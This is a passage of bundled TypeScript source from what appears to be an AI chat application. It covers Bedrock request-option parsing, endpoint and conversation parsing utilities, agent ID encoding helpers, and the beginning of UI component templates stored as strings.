true,\n effort: true,\n reasoning_effort: true,\n promptCache: true,\n /* Catch-all fields */\n topK: true,\n additionalModelRequestFields: true,\n })\n .catchall(z.any())\n .transform((data) => {\n const knownKeys = [\n 'modelLabel',\n 'promptPrefix',\n 'resendFiles',\n 'iconURL',\n 'greeting',\n 'spec',\n 'maxOutputTokens',\n 'artifacts',\n 'additionalModelRequestFields',\n 'region',\n 'model',\n 'maxTokens',\n 'temperature',\n 'topP',\n 'stop',\n 'promptCache',\n ];\n\n const additionalFields: Record<string, unknown> = {};\n const typedData = data as Record<string, unknown>;\n\n Object.entries(typedData).forEach(([key, value]) => {\n if (!knownKeys.includes(key)) {\n if (key === 'topK') {\n additionalFields['top_k'] = value;\n } else {\n additionalFields[key] = value;\n }\n delete typedData[key];\n }\n });\n\n /** Default thinking and thinkingBudget for 'anthropic.claude-3-7-sonnet' models, if not defined */\n if (\n typeof typedData.model === 'string' &&\n (typedData.model.includes('anthropic.claude-3-7-sonnet') ||\n /anthropic\\.claude-(?:[4-9](?:\\.\\d+)?(?:-\\d+)?-(?:sonnet|opus|haiku)|(?:sonnet|opus|haiku)-[4-9])/.test(\n typedData.model,\n ))\n ) {\n const isAdaptive = supportsAdaptiveThinking(typedData.model as string);\n\n if (isAdaptive) {\n const effort = additionalFields.effort;\n if (effort && typeof effort === 'string' && effort !== '') {\n additionalFields.output_config = { effort };\n }\n delete additionalFields.effort;\n\n if (additionalFields.thinking === false) {\n delete additionalFields.thinking;\n delete additionalFields.thinkingBudget;\n } else {\n additionalFields.thinking = { type: 'adaptive' };\n delete additionalFields.thinkingBudget;\n }\n } else {\n if (additionalFields.thinking === undefined) {\n additionalFields.thinking = true;\n } else if (additionalFields.thinking === false) {\n delete additionalFields.thinking;\n delete additionalFields.thinkingBudget;\n }\n\n if (additionalFields.thinking === true && additionalFields.thinkingBudget === undefined) {\n additionalFields.thinkingBudget = DEFAULT_THINKING_BUDGET;\n }\n delete additionalFields.effort;\n }\n\n /** Anthropic uses 'effort' via output_config, not reasoning_config */\n delete additionalFields.reasoning_effort;\n\n if ((typedData.model as string).includes('anthropic.')) {\n const betaHeaders = getBedrockAnthropicBetaHeaders(typedData.model as string);\n if (betaHeaders.length > 0) {\n additionalFields.anthropic_beta = betaHeaders;\n }\n }\n } else {\n delete additionalFields.thinking;\n delete additionalFields.thinkingBudget;\n delete additionalFields.effort;\n delete additionalFields.output_config;\n delete additionalFields.anthropic_beta;\n\n const reasoningEffort = additionalFields.reasoning_effort;\n delete additionalFields.reasoning_effort;\n if (\n typeof reasoningEffort === 'string' &&\n bedrockReasoningConfigValues.has(reasoningEffort)\n ) {\n additionalFields.reasoning_config = reasoningEffort;\n }\n }\n\n const isAnthropicModel =\n typeof typedData.model === 'string' && typedData.model.includes('anthropic.');\n\n /** Strip stale fields from previously-persisted additionalModelRequestFields */\n if (\n typeof typedData.additionalModelRequestFields === 'object' &&\n typedData.additionalModelRequestFields != null\n ) {\n const amrf = typedData.additionalModelRequestFields as Record<string, unknown>;\n if (!isAnthropicModel) {\n delete amrf.anthropic_beta;\n delete amrf.thinking;\n delete amrf.thinkingBudget;\n delete amrf.effort;\n delete amrf.output_config;\n delete amrf.reasoning_config;\n } else {\n delete amrf.reasoning_config;\n delete amrf.reasoning_effort;\n }\n }\n\n /** Default promptCache for claude and nova models, if not defined */\n if (\n typeof typedData.model === 'string' &&\n (typedData.model.includes('claude') || typedData.model.includes('nova'))\n ) {\n if (typedData.promptCache === undefined) {\n typedData.promptCache = true;\n }\n } else if (typedData.promptCache === true) {\n typedData.promptCache = undefined;\n }\n\n if (Object.keys(additionalFields).length > 0) {\n typedData.additionalModelRequestFields = {\n ...((typedData.additionalModelRequestFields as Record<string, unknown> | undefined) || {}),\n ...additionalFields,\n };\n }\n\n if (typedData.maxOutputTokens !== undefined) {\n typedData.maxTokens = typedData.maxOutputTokens;\n } else if (typedData.maxTokens !== undefined) {\n typedData.maxOutputTokens = typedData.maxTokens;\n }\n\n return s.removeNullishValues(typedData) as BedrockConverseInput;\n })\n .catch(() => ({}));\n\n/**\n * Configures the \"thinking\" parameter based on given input and thinking options.\n *\n * @param data - The parsed Bedrock request options object\n * @returns The object with thinking configured appropriately\n */\nfunction configureThinking(data: AnthropicInput): AnthropicInput {\n const updatedData = { ...data };\n const thinking = updatedData.additionalModelRequestFields?.thinking;\n\n if (thinking === true) {\n updatedData.maxTokens =\n updatedData.maxTokens ?? updatedData.maxOutputTokens ?? DEFAULT_ENABLED_MAX_TOKENS;\n delete updatedData.maxOutputTokens;\n const thinkingConfig: ThinkingConfig = {\n type: 'enabled',\n budget_tokens:\n updatedData.additionalModelRequestFields?.thinkingBudget ?? DEFAULT_THINKING_BUDGET,\n };\n\n if (thinkingConfig.budget_tokens > updatedData.maxTokens) {\n thinkingConfig.budget_tokens = Math.floor(updatedData.maxTokens * 0.9);\n }\n updatedData.additionalModelRequestFields!.thinking = thinkingConfig;\n delete updatedData.additionalModelRequestFields!.thinkingBudget;\n } else if (\n typeof thinking === 'object' &&\n thinking != null &&\n (thinking as { type: string }).type === 'adaptive'\n ) {\n if (updatedData.maxTokens == null && updatedData.maxOutputTokens != null) {\n updatedData.maxTokens = updatedData.maxOutputTokens;\n }\n delete updatedData.maxOutputTokens;\n delete updatedData.additionalModelRequestFields!.thinkingBudget;\n }\n\n return updatedData;\n}\n\nexport const bedrockOutputParser = (data: Record<string, unknown>) => {\n const knownKeys = [...Object.keys(s.tConversationSchema.shape), 'topK', 'top_k'];\n let result: Record<string, unknown> = {};\n\n // Extract known fields from the root level\n Object.entries(data).forEach(([key, value]) => {\n if (knownKeys.includes(key)) {\n result[key] = value;\n }\n });\n\n // Extract known fields from additionalModelRequestFields\n if (\n typeof data.additionalModelRequestFields === 'object' &&\n data.additionalModelRequestFields !== null\n ) {\n Object.entries(data.additionalModelRequestFields as Record<string, unknown>).forEach(\n ([key, value]) => {\n if (knownKeys.includes(key)) {\n if (key === 'top_k') {\n result['topK'] = value;\n } else if (key === 'thinking' || key === 'thinkingBudget') {\n return;\n } else {\n result[key] = value;\n }\n }\n },\n );\n }\n\n // Handle maxTokens and maxOutputTokens\n if (result.maxTokens !== undefined && result.maxOutputTokens === undefined) {\n result.maxOutputTokens = result.maxTokens;\n } else if (result.maxOutputTokens !== undefined && result.maxTokens === undefined) {\n result.maxTokens = result.maxOutputTokens;\n }\n\n result = configureThinking(result as AnthropicInput);\n const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;\n if (!amrf || Object.keys(amrf).length === 0) {\n delete result.additionalModelRequestFields;\n }\n\n return result;\n};\n","import dayjs from 'dayjs';\nimport type { ZodIssue } from 'zod';\nimport type * as a from './types/assistants';\nimport type * as s from './schemas';\nimport type * as t from './types';\nimport { ContentTypes } from './types/runs';\nimport {\n openAISchema,\n googleSchema,\n EModelEndpoint,\n anthropicSchema,\n assistantSchema,\n // agentsSchema,\n compactAgentsSchema,\n compactGoogleSchema,\n compactAssistantSchema,\n} from './schemas';\nimport { bedrockInputSchema } from './bedrock';\nimport { alternateName } from './config';\n\ntype EndpointSchema =\n | typeof openAISchema\n | typeof googleSchema\n | typeof anthropicSchema\n | typeof assistantSchema\n | typeof compactAgentsSchema\n | typeof bedrockInputSchema;\n\nexport type EndpointSchemaKey = EModelEndpoint;\n\nconst endpointSchemas: Record<EndpointSchemaKey, EndpointSchema> = {\n [EModelEndpoint.openAI]: openAISchema,\n [EModelEndpoint.azureOpenAI]: openAISchema,\n [EModelEndpoint.custom]: openAISchema,\n [EModelEndpoint.google]: googleSchema,\n [EModelEndpoint.anthropic]: anthropicSchema,\n [EModelEndpoint.assistants]: assistantSchema,\n [EModelEndpoint.azureAssistants]: assistantSchema,\n [EModelEndpoint.agents]: compactAgentsSchema,\n [EModelEndpoint.bedrock]: bedrockInputSchema,\n};\n\n// const schemaCreators: Record<EModelEndpoint, (customSchema: DefaultSchemaValues) => EndpointSchema> = {\n// [EModelEndpoint.google]: createGoogleSchema,\n// };\n\n/** Get the enabled endpoints from the `ENDPOINTS` environment variable */\nexport function getEnabledEndpoints() {\n const defaultEndpoints: string[] = [\n EModelEndpoint.openAI,\n EModelEndpoint.agents,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.google,\n EModelEndpoint.anthropic,\n EModelEndpoint.bedrock,\n ];\n\n const endpointsEnv = process.env.ENDPOINTS ?? '';\n let enabledEndpoints = defaultEndpoints;\n if (endpointsEnv) {\n enabledEndpoints = endpointsEnv\n .split(',')\n .filter((endpoint) => endpoint.trim())\n .map((endpoint) => endpoint.trim());\n }\n return enabledEndpoints;\n}\n\n/** Orders an existing EndpointsConfig object based on enabled endpoint/custom ordering */\nexport function orderEndpointsConfig(endpointsConfig: t.TEndpointsConfig) {\n if (!endpointsConfig) {\n return {};\n }\n const enabledEndpoints = getEnabledEndpoints();\n const endpointKeys = Object.keys(endpointsConfig);\n const defaultCustomIndex = enabledEndpoints.indexOf(EModelEndpoint.custom);\n return endpointKeys.reduce(\n (accumulatedConfig: Record<string, t.TConfig | null | undefined>, currentEndpointKey) => {\n const isCustom = !(currentEndpointKey in EModelEndpoint);\n const isEnabled = enabledEndpoints.includes(currentEndpointKey);\n if (!isEnabled && !isCustom) {\n return accumulatedConfig;\n }\n\n const index = enabledEndpoints.indexOf(currentEndpointKey);\n\n if (isCustom) {\n accumulatedConfig[currentEndpointKey] = {\n order: defaultCustomIndex >= 0 ? defaultCustomIndex : 9999,\n ...(endpointsConfig[currentEndpointKey] as Omit<t.TConfig, 'order'> & { order?: number }),\n };\n } else if (endpointsConfig[currentEndpointKey]) {\n accumulatedConfig[currentEndpointKey] = {\n ...endpointsConfig[currentEndpointKey],\n order: index,\n };\n }\n return accumulatedConfig;\n },\n {},\n );\n}\n\n/** Converts an array of Zod issues into a string. */\nexport function errorsToString(errors: ZodIssue[]) {\n return errors\n .map((error) => {\n const field = error.path.join('.');\n const message = error.message;\n\n return `${field}: ${message}`;\n })\n .join(' ');\n}\n\nexport function getFirstDefinedValue(possibleValues: string[]) {\n let returnValue;\n for (const value of possibleValues) {\n if (value) {\n returnValue = value;\n break;\n }\n }\n return returnValue;\n}\n\nexport function getNonEmptyValue(possibleValues: string[]) {\n for (const value of possibleValues) {\n if (value && value.trim() !== '') {\n return value;\n }\n }\n return undefined;\n}\n\nexport type TPossibleValues = {\n models: string[];\n};\n\nexport const parseConvo = ({\n endpoint,\n endpointType,\n conversation,\n possibleValues,\n defaultParamsEndpoint,\n}: {\n endpoint: EndpointSchemaKey;\n endpointType?: EndpointSchemaKey | null;\n conversation: Partial<s.TConversation | s.TPreset> | null;\n possibleValues?: TPossibleValues;\n defaultParamsEndpoint?: string | null;\n}) => {\n let schema = endpointSchemas[endpoint] as EndpointSchema | undefined;\n\n if (!schema && !endpointType) {\n throw new Error(`Unknown endpoint: ${endpoint}`);\n } else if (!schema) {\n const overrideSchema = defaultParamsEndpoint\n ? endpointSchemas[defaultParamsEndpoint as EndpointSchemaKey]\n : undefined;\n schema = overrideSchema ?? (endpointType ? endpointSchemas[endpointType] : undefined);\n }\n\n const convo = schema?.parse(conversation) as s.TConversation | undefined;\n const { models } = possibleValues ?? {};\n\n if (models && convo) {\n convo.model = getFirstDefinedValue(models) ?? convo.model;\n }\n\n return convo;\n};\n\n/** Match GPT followed by digit, optional decimal, and optional suffix\n *\n * Examples: gpt-4, gpt-4o, gpt-4.5, gpt-5a, etc. */\nconst extractGPTVersion = (modelStr: string): string => {\n const gptMatch = modelStr.match(/gpt-(\\d+(?:\\.\\d+)?)([a-z])?/i);\n if (gptMatch) {\n const version = gptMatch[1];\n const suffix = gptMatch[2] || '';\n return `GPT-${version}${suffix}`;\n }\n return '';\n};\n\n/** Match omni models (o1, o3, etc.), \"o\" followed by a digit, possibly with decimal */\nconst extractOmniVersion = (modelStr: string): string => {\n const omniMatch = modelStr.match(/\\bo(\\d+(?:\\.\\d+)?)\\b/i);\n if (omniMatch) {\n const version = omniMatch[1];\n return `o${version}`;\n }\n return '';\n};\n\nexport const getResponseSender = (endpointOption: Partial<t.TEndpointOption>): string => {\n const {\n model: _m,\n endpoint: _e,\n endpointType,\n modelDisplayLabel: _mdl,\n chatGptLabel: _cgl,\n modelLabel: _ml,\n } = endpointOption;\n\n const endpoint = _e as EModelEndpoint;\n\n const model = _m ?? '';\n const modelDisplayLabel = _mdl ?? '';\n const chatGptLabel = _cgl ?? '';\n const modelLabel = _ml ?? '';\n if (\n [EModelEndpoint.openAI, EModelEndpoint.bedrock, EModelEndpoint.azureOpenAI].includes(endpoint)\n ) {\n if (modelLabel) {\n return modelLabel;\n } else if (chatGptLabel) {\n // @deprecated - prefer modelLabel\n return chatGptLabel;\n } else if (model && extractOmniVersion(model)) {\n return extractOmniVersion(model);\n } else if (model && (model.includes('mistral') || model.includes('codestral'))) {\n return 'Mistral';\n } else if (model && model.includes('deepseek')) {\n return 'Deepseek';\n } else if (model && model.includes('kimi')) {\n return 'Kimi';\n } else if (model && model.includes('moonshot')) {\n return 'Moonshot';\n } else if (model && model.includes('gpt-')) {\n const gptVersion = extractGPTVersion(model);\n return gptVersion || 'GPT';\n }\n return (alternateName[endpoint] as string | undefined) ?? 'AI';\n }\n\n if (endpoint === EModelEndpoint.anthropic) {\n return modelLabel || 'Claude';\n }\n\n if (endpoint === EModelEndpoint.bedrock) {\n return modelLabel || alternateName[endpoint];\n }\n\n if (endpoint === EModelEndpoint.google) {\n if (modelLabel) {\n return modelLabel;\n } else if (model?.toLowerCase().includes('gemma') === true) {\n return 'Gemma';\n }\n\n return 'Gemini';\n }\n\n if (endpoint === EModelEndpoint.custom || endpointType === EModelEndpoint.custom) {\n if (modelLabel) {\n return modelLabel;\n } else if (chatGptLabel) {\n // @deprecated - prefer modelLabel\n return chatGptLabel;\n } else if (model && extractOmniVersion(model)) {\n return extractOmniVersion(model);\n } else if (model && (model.includes('mistral') || model.includes('codestral'))) {\n return 'Mistral';\n } else if (model && model.includes('deepseek')) {\n return 'Deepseek';\n } else if (model && model.includes('kimi')) {\n return 'Kimi';\n } else if (model && model.includes('moonshot')) {\n return 'Moonshot';\n } else if (model && model.includes('gpt-')) {\n const gptVersion = extractGPTVersion(model);\n return gptVersion || 'GPT';\n } else if (modelDisplayLabel) {\n return modelDisplayLabel;\n }\n\n return 'AI';\n }\n\n return '';\n};\n\ntype CompactEndpointSchema =\n | typeof openAISchema\n | typeof compactAssistantSchema\n | typeof compactAgentsSchema\n | typeof compactGoogleSchema\n | typeof anthropicSchema\n | typeof bedrockInputSchema;\n\nconst compactEndpointSchemas: Record<EndpointSchemaKey, CompactEndpointSchema> = {\n [EModelEndpoint.openAI]: openAISchema,\n [EModelEndpoint.azureOpenAI]: openAISchema,\n [EModelEndpoint.custom]: openAISchema,\n [EModelEndpoint.assistants]: compactAssistantSchema,\n [EModelEndpoint.azureAssistants]: compactAssistantSchema,\n [EModelEndpoint.agents]: compactAgentsSchema,\n [EModelEndpoint.google]: compactGoogleSchema,\n [EModelEndpoint.bedrock]: bedrockInputSchema,\n [EModelEndpoint.anthropic]: anthropicSchema,\n};\n\nexport const parseCompactConvo = ({\n endpoint,\n endpointType,\n conversation,\n possibleValues,\n defaultParamsEndpoint,\n}: {\n endpoint?: EndpointSchemaKey;\n endpointType?: EndpointSchemaKey | null;\n conversation: Partial<s.TConversation | s.TPreset>;\n possibleValues?: TPossibleValues;\n defaultParamsEndpoint?: string | null;\n}): Omit<s.TConversation, 'iconURL'> | null => {\n if (!endpoint) {\n throw new Error(`undefined endpoint: ${endpoint}`);\n }\n\n let schema = compactEndpointSchemas[endpoint] as CompactEndpointSchema | undefined;\n\n if (!schema && !endpointType) {\n throw new Error(`Unknown endpoint: ${endpoint}`);\n } else if (!schema) {\n const overrideSchema = defaultParamsEndpoint\n ? compactEndpointSchemas[defaultParamsEndpoint as EndpointSchemaKey]\n : undefined;\n schema = overrideSchema ?? (endpointType ? compactEndpointSchemas[endpointType] : undefined);\n }\n\n if (!schema) {\n throw new Error(`Unknown endpointType: ${endpointType}`);\n }\n\n // Strip iconURL from input before parsing - it should only be derived server-side\n // from model spec configuration, not accepted from client requests\n const { iconURL: _clientIconURL, ...conversationWithoutIconURL } = conversation;\n\n const convo = schema.parse(conversationWithoutIconURL) as s.TConversation | null;\n const { models } = possibleValues ?? {};\n\n if (models && convo) {\n convo.model = getFirstDefinedValue(models) ?? convo.model;\n }\n\n return convo;\n};\n\nexport function parseTextParts(\n contentParts: Array<a.TMessageContentParts | undefined>,\n skipReasoning: boolean = false,\n): string {\n let result = '';\n\n for (const part of contentParts) {\n if (!part?.type) {\n continue;\n }\n if (part.type === ContentTypes.TEXT) {\n const textValue = (typeof part.text === 'string' ? part.text : part.text?.value) || '';\n\n if (\n result.length > 0 &&\n textValue.length > 0 &&\n result[result.length - 1] !== ' ' &&\n textValue[0] !== ' '\n ) {\n result += ' ';\n }\n result += textValue;\n } else if (part.type === ContentTypes.THINK && !skipReasoning) {\n const textValue = typeof part.think === 'string' ? part.think : '';\n if (\n result.length > 0 &&\n textValue.length > 0 &&\n result[result.length - 1] !== ' ' &&\n textValue[0] !== ' '\n ) {\n result += ' ';\n }\n result += textValue;\n }\n }\n\n return result;\n}\n\nexport const SEPARATORS = ['.', '?', '!', '۔', '。', '‥', ';', '¡', '¿', '\\n', '```'];\n\nexport function findLastSeparatorIndex(text: string, separators = SEPARATORS): number {\n let lastIndex = -1;\n for (const separator of separators) {\n const index = text.lastIndexOf(separator);\n if (index > lastIndex) {\n lastIndex = index;\n }\n }\n return lastIndex;\n}\n\nexport function replaceSpecialVars({ text, user }: { text: string; user?: t.TUser | null }) {\n let result = text;\n if (!result) {\n return result;\n }\n\n const now = dayjs();\n const weekdayName = now.format('dddd');\n\n const currentDate = now.format('YYYY-MM-DD');\n result = result.replace(/{{current_date}}/gi, `${currentDate} (${weekdayName})`);\n\n const currentDatetime = now.format('YYYY-MM-DD HH:mm:ss Z');\n result = result.replace(/{{current_datetime}}/gi, `${currentDatetime} (${weekdayName})`);\n\n const isoDatetime = now.toISOString();\n result = result.replace(/{{iso_datetime}}/gi, isoDatetime);\n\n if (user && user.name) {\n result = result.replace(/{{current_user}}/gi, user.name);\n }\n\n return result;\n}\n\n/**\n * Parsed ephemeral agent ID result\n */\nexport type ParsedEphemeralAgentId = {\n endpoint: string;\n model: string;\n sender?: string;\n index?: number;\n};\n\n/**\n * Encodes an ephemeral agent ID from endpoint, model, optional sender, and optional index.\n * Uses __ to replace : (reserved in graph node names) and ___ to separate sender.\n *\n * Format: endpoint__model___sender or endpoint__model___sender____index (if index provided)\n *\n * @example\n * encodeEphemeralAgentId({ endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o' })\n * // => 'openAI__gpt-4o___GPT-4o'\n *\n * @example\n * encodeEphemeralAgentId({ endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o', index: 1 })\n * // => 'openAI__gpt-4o___GPT-4o____1'\n */\nexport function encodeEphemeralAgentId({\n endpoint,\n model,\n sender,\n index,\n}: {\n endpoint: string;\n model: string;\n sender?: string;\n index?: number;\n}): string {\n const base = `${endpoint}:${model}`.replace(/:/g, '__');\n let result = base;\n if (sender) {\n // Use ___ as separator before sender to distinguish from __ in model names\n result = `${base}___${sender.replace(/:/g, '__')}`;\n }\n if (index != null) {\n // Use ____ (4 underscores) as separator for index\n result = `${result}____${index}`;\n }\n return result;\n}\n\n/**\n * Parses an ephemeral agent ID back into its components.\n * Returns undefined if the ID doesn't match the expected format.\n *\n * Format: endpoint__model___sender or endpoint__model___sender____index\n * - ____ (4 underscores) separates optional index suffix\n * - ___ (triple underscore) separates model from optional sender\n * - __ (double underscore) replaces : in endpoint/model names\n *\n * @example\n * parseEphemeralAgentId('openAI__gpt-4o___GPT-4o')\n * // => { endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o' }\n *\n * @example\n * parseEphemeralAgentId('openAI__gpt-4o___GPT-4o____1')\n * // => { endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o', index: 1 }\n */\nexport function parseEphemeralAgentId(agentId: string): ParsedEphemeralAgentId | undefined {\n if (!agentId.includes('__')) {\n return undefined;\n }\n\n // First check for index suffix (separated by ____)\n let index: number | undefined;\n let workingId = agentId;\n if (agentId.includes('____')) {\n const lastIndexSep = agentId.lastIndexOf('____');\n const indexStr = agentId.slice(lastIndexSep + 4);\n const parsedIndex = parseInt(indexStr, 10);\n if (!isNaN(parsedIndex)) {\n index = parsedIndex;\n workingId = agentId.slice(0, lastIndexSep);\n }\n }\n\n // Check for sender (separated by ___)\n let sender: string | undefined;\n let mainPart = workingId;\n if (workingId.includes('___')) {\n const [before, after] = workingId.split('___');\n mainPart = before;\n // Restore colons in sender if any\n sender = after?.replace(/__/g, ':');\n }\n\n const [endpoint, ...modelParts] = mainPart.split('__');\n if (!endpoint || modelParts.length === 0) {\n return undefined;\n }\n // Restore colons in model name (model names can contain colons like claude-3:opus)\n const model = modelParts.join(':');\n return { endpoint, model, sender, index };\n}\n\n/**\n * Checks if an agent ID represents an ephemeral (non-saved) agent.\n * Real agent IDs always start with \"agent_\", so anything else is ephemeral.\n */\nexport function isEphemeralAgentId(agentId: string | null | undefined): boolean {\n return !agentId?.startsWith('agent_');\n}\n\n/**\n * Strips the index suffix (____N) from an agent ID if present.\n * Works with both ephemeral and real agent IDs.\n *\n * @example\n * stripAgentIdSuffix('agent_abc123____1') // => 'agent_abc123'\n * stripAgentIdSuffix('openAI__gpt-4o___GPT-4o____1') // => 'openAI__gpt-4o___GPT-4o'\n * stripAgentIdSuffix('agent_abc123') // => 'agent_abc123' (unchanged)\n */\nexport function stripAgentIdSuffix(agentId: string): string {\n return agentId.replace(/____\\d+$/, '');\n}\n\n/**\n * Appends an index suffix (____N) to an agent ID.\n * Used to distinguish parallel agents with the same base ID.\n *\n * @example\n * appendAgentIdSuffix('agent_abc123', 1) // => 'agent_abc123____1'\n * appendAgentIdSuffix('openAI__gpt-4o___GPT-4o', 1) // => 'openAI__gpt-4o___GPT-4o____1'\n */\nexport function appendAgentIdSuffix(agentId: string, index: number): string {\n return `${agentId}____${index}`;\n}\n","export enum ArtifactModes {\n DEFAULT = 'default',\n SHADCNUI = 'shadcnui',\n CUSTOM = 'custom',\n}\n\nexport const utils = `\nimport { type ClassValue, clsx } from \"clsx\"\nimport { twMerge } from \"tailwind-merge\"\n\nexport function cn(...inputs: ClassValue[]) {\n return twMerge(clsx(inputs))\n}\n`;\nexport const accordian = `import * as React from \"react\"\nimport * as AccordionPrimitive from \"@radix-ui/react-accordion\"\nimport { ChevronDown } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Accordion = AccordionPrimitive.Root\n\nconst AccordionItem = React.forwardRef<\n React.ElementRef<typeof AccordionPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Item>\n>(({ className, ...props }, ref) => (\n <AccordionPrimitive.Item\n ref={ref}\n className={cn(\"border-b\", className)}\n {...props}\n />\n))\nAccordionItem.displayName = \"AccordionItem\"\n\nconst AccordionTrigger = React.forwardRef<\n React.ElementRef<typeof AccordionPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <AccordionPrimitive.Header className=\"flex\">\n <AccordionPrimitive.Trigger\n ref={ref}\n className={cn(\n \"flex flex-1 items-center justify-between py-4 font-medium transition-all hover:underline [&[data-state=open]>svg]:rotate-180\",\n className\n )}\n {...props}\n >\n {children}\n <ChevronDown className=\"h-4 w-4 shrink-0 transition-transform duration-200\" />\n </AccordionPrimitive.Trigger>\n </AccordionPrimitive.Header>\n))\nAccordionTrigger.displayName = AccordionPrimitive.Trigger.displayName\n\nconst AccordionContent = React.forwardRef<\n React.ElementRef<typeof AccordionPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n <AccordionPrimitive.Content\n ref={ref}\n className=\"overflow-hidden text-sm transition-all data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down\"\n {...props}\n >\n <div className={cn(\"pb-4 pt-0\", className)}>{children}</div>\n </AccordionPrimitive.Content>\n))\n\nAccordionContent.displayName = AccordionPrimitive.Content.displayName\n\nexport { Accordion, AccordionItem, AccordionTrigger, AccordionContent }\n`;\nexport const alertDialog = `import * as React from \"react\"\nimport * as AlertDialogPrimitive from \"@radix-ui/react-alert-dialog\"\n\nimport { cn } from \"../../lib/utils\"\nimport { buttonVariants } from \"./button\"\n\nconst AlertDialog = AlertDialogPrimitive.Root\n\nconst AlertDialogTrigger = AlertDialogPrimitive.Trigger\n\nconst AlertDialogPortal = AlertDialogPrimitive.Portal\n\nconst AlertDialogOverlay = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Overlay>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Overlay\n className={cn(\n \"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n className\n )}\n {...props}\n ref={ref}\n />\n))\nAlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName\n\nconst AlertDialogContent = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Content>\n>(({ className, ...props }, ref) => (\n <AlertDialogPortal>\n <AlertDialogOverlay />\n <AlertDialogPrimitive.Content\n ref={ref}\n className={cn(\n \"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border border-gray-200 bg-white p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n />\n </AlertDialogPortal>\n))\nAlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName\n\nconst AlertDialogHeader = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col space-y-2 text-center sm:text-left\",\n className\n )}\n {...props}\n />\n)\nAlertDialogHeader.displayName = \"AlertDialogHeader\"\n\nconst AlertDialogFooter = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2\",\n className\n )}\n {...props}\n />\n)\nAlertDialogFooter.displayName = \"AlertDialogFooter\"\n\nconst AlertDialogTitle = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Title\n ref={ref}\n className={cn(\"text-lg font-semibold\", className)}\n {...props}\n />\n))\nAlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName\n\nconst AlertDialogDescription = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Description\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nAlertDialogDescription.displayName =\n AlertDialogPrimitive.Description.displayName\n\nconst AlertDialogAction = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Action>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Action>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Action\n ref={ref}\n className={cn(buttonVariants(), className)}\n {...props}\n />\n))\nAlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName\n\nconst AlertDialogCancel = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Cancel>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Cancel>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Cancel\n ref={ref}\n className={cn(\n buttonVariants({ variant: \"outline\" }),\n \"mt-2 sm:mt-0\",\n className\n )}\n {...props}\n />\n))\nAlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName\n\nexport {\n AlertDialog,\n AlertDialogPortal,\n AlertDialogOverlay,\n AlertDialogTrigger,\n AlertDialogContent,\n AlertDialogHeader,\n AlertDialogFooter,\n AlertDialogTitle,\n AlertDialogDescription,\n AlertDialogAction,\n AlertDialogCancel,\n}\n`;\nexport const alert = `import * as React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst alertVariants = cva(\n \"relative w-full rounded-lg border border-gray-200 p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-gray-950 dark:border-gray-800 dark:[&>svg]:text-gray-50\",\n {\n variants: {\n variant: {\n default: \"bg-white text-gray-950 dark:bg-gray-950 dark:text-gray-50\",\n destructive:\n \"border-red-500/50 text-red-500 dark:border-red-500 [&>svg]:text-red-500 dark:border-red-900/50 dark:text-red-900 dark:dark:border-red-900 dark:[&>svg]:text-red-900\",\n },\n },\n defaultVariants: 